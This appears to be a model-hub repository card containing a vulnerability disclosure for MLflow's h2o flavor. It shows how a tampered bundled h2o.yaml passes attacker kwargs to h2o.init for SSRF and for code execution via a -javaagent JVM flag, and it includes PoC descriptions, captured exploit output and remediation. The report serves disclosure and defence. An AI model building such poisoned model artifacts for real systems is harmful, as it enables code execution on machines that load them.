You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

MLflow h2o flavor: attacker-controlled bundled h2o.yaml init dict passed verbatim to h2o.init(**kwargs) β€” SSRF + RCE (arbitrary JVM args)

Target: mlflow (PyPI) β€” mlflow/h2o/__init__.py, the h2o model flavor loader Affected version: mlflow==3.14.0 (current latest release on PyPI at time of writing) Verified environment: PyPI mlflow==3.14.0 + h2o==3.46.0.11, Python 3.13.12, OpenJDK 25, Linux Class: Attacker-controlled configuration β†’ dangerous-API kwargs passthrough (CWE-918 SSRF / CWE-94 code injection). No pickle deserialization and no MLFLOW_ALLOW_PICKLE_DESERIALIZATION gate is involved.


Summary

A crafted MLflow model directory with the h2o flavor is loaded via the standard inference entry point mlflow.pyfunc.load_model(). The h2o flavor loader reads a non-MLmodel config file that ships inside the model artifact β€” model.h2o/h2o.yaml β€” and, when loading as pyfunc, passes the file's init sub-dictionary verbatim as keyword arguments to h2o.init(**kwargs).

Because the attacker fully controls that bundled file, they choose the kwargs to h2o.init:

  • url / ip / port β†’ the loading process connects to an attacker-chosen H2O REST endpoint = SSRF (blind + partially reflected; the client performs a multi-request handshake against the attacker host).
  • jvm_custom_args / extra_classpath β†’ arbitrary flags on the spawned java command line when a local H2O server is started. -javaagent:<attacker-bundled>.jar yields arbitrary code execution in the victim process.

There is no key allowlist, no path containment, and no pickle gate on this path.

Root cause

mlflow/h2o/__init__.py (mlflow 3.14.0):

def _load_model(path, init=False):
    import h2o

    path = os.path.abspath(path)
    with open(os.path.join(path, "h2o.yaml")) as f:   # <-- file bundled INSIDE the artifact
        params = yaml.safe_load(f.read())
    if init:
        h2o.init(**(params["init"] if "init" in params else {}))   # <-- attacker kwargs verbatim
        h2o.no_progress()

    model_path = os.path.join(path, params["model_file"])
    ...
def _load_pyfunc(path):
    ...
    return _H2OModelWrapper(_load_model(path, init=True))   # <-- pyfunc path calls init=True

Call chain for a plain victim action:

mlflow.pyfunc.load_model(untrusted_model)
  -> mlflow.h2o._load_pyfunc(path)
    -> mlflow.h2o._load_model(path, init=True)
      -> h2o.init(**params["init"])      # params["init"] is attacker-controlled

h2o.init's signature confirms the dangerous kwargs are accepted: url, ip, port (β†’ connect to arbitrary REST endpoint) and jvm_custom_args, extra_classpath (β†’ arbitrary java launch flags / classpath).

Note the public non-pyfunc loader mlflow.h2o.load_model() calls _load_model(path) with the default init=False, so it never reaches h2o.init β€” this is the negative control below.

Why this is distinct from other MLflow flavor findings

  • It is not pickle deserialization, so MLFLOW_ALLOW_PICKLE_DESERIALIZATION does not apply and would not mitigate it.
  • It is not the pickle-gate gap (a different, separately reported class).
  • The dangerous input is a bundled non-MLmodel config file (model.h2o/h2o.yaml) whose init dict is forwarded, unfiltered, as kwargs into a security-sensitive third-party API.
  • Authentic models emitted by mlflow.h2o.save_model never contain an init key (negative baseline), so a key allowlist / removing the passthrough would not break legitimate models.

PoC files

  • poc_h2o_init_ssrf.py β€” trains a real GLM on a real H2O cluster, saves via mlflow.h2o.save_model, and prints the authentic bundled h2o.yaml (no init key = negative baseline).
  • poc_h2o_stage2.py β€” (a) negative control: loads untampered model via mlflow.h2o.load_model (init=False) β†’ attacker endpoint gets 0 hits; (b) target: injects init: {url: http://127.0.0.1:PORT} into the bundled h2o.yaml, runs mlflow.pyfunc.load_model β†’ victim makes 5 outbound H2O-REST requests to the attacker URL = SSRF.
  • poc_h2o_jvm.py β€” injects init.jvm_custom_args: [-D<marker>=1]; captures the spawned java command line containing the attacker flag.
  • poc_h2o_rce.py β€” bundles a malicious Java agent (agent/evil.jar) inside the model, injects init.jvm_custom_args: [-javaagent:.../evil.jar]; mlflow.pyfunc.load_model spawns java -javaagent:evil.jar ...; the agent premain runs id, producing h2o_work/RCE_PROOF.txt = full RCE. Marker absent before load, present after; non-injected baseline produces no marker.

Captured evidence (verbatim)

--- authentic h2o.yaml (negative baseline) ---
full_file/model_dir/model_file only; authentic h2o.yaml has 'init' key? -> False

== NEGATIVE CONTROL (untampered, mlflow.h2o.load_model, init=False) ==
attacker endpoint hits during control = 0

== SSRF (tampered init.url via mlflow.pyfunc.load_model) ==
injected init kwargs: {'url': 'http://127.0.0.1:35093', 'strict_version_check': False}
attacker endpoint hits after tampered pyfunc load = 5

== JVM command-line injection (init.jvm_custom_args) ==
/usr/bin/java -ea -Xmx512M -DATTACKER_INJECTED_JVM_FLAG_9F3C=1 -jar .../h2o/backend/bin/h2o.jar -ip 127.0.0.1 -web_ip 127.0.0.1 -baseport 54399 ...
jvm_custom_args injection reached java command line: True

== FULL RCE (init.jvm_custom_args: -javaagent:bundled evil.jar) ==
marker exists BEFORE load: False
marker exists AFTER load: True
--- RCE_PROOF.txt (executed by injected Java agent) ---
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom)...
PWNED-BY-H2O-INIT-JVMARG
*** RCE CONFIRMED: attacker-controlled h2o.yaml -> h2o.init(jvm_custom_args=...) -> arbitrary code execution ***

Impact

Loading an untrusted h2o-flavored MLflow model β€” a routine action against models pulled from a registry, hub, or shared storage β€” allows the model author to:

  1. Force the loading host to connect to an attacker-chosen network endpoint (SSRF; usable to reach internal services / cloud metadata via url/ip/port).
  2. Inject arbitrary flags into the spawned JVM (jvm_custom_args/extra_classpath), including -javaagent: with an attacker-bundled jar, giving arbitrary code execution as the loader process.

No environment variable, opt-in, or pickle involvement is required.

Suggested remediation

  • Do not forward the bundled h2o.yaml init dict to h2o.init(**kwargs). Authentic models never set it.
  • If configurable H2O connection settings are desired, take them from a trusted, caller-supplied argument (e.g. an explicit settings= param on load_model), not from a file inside the untrusted artifact, and restrict to a safe allowlist that excludes jvm_custom_args, extra_classpath, url, ip, port.

Dedup note

Distinct from MLflow pickle-deserialization CVEs (e.g. the sklearn/pytorch/statsmodels pickle classes) and from the pickle-gate-gap class: this path involves no pickle and is not gated by MLFLOW_ALLOW_PICKLE_DESERIALIZATION. The primitive is an attacker-controlled bundled config file (model.h2o/h2o.yaml) whose init dict is passed verbatim as kwargs to a dangerous third-party API (h2o.init). No prior public CVE was found for the MLflow h2o flavor init kwargs passthrough.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support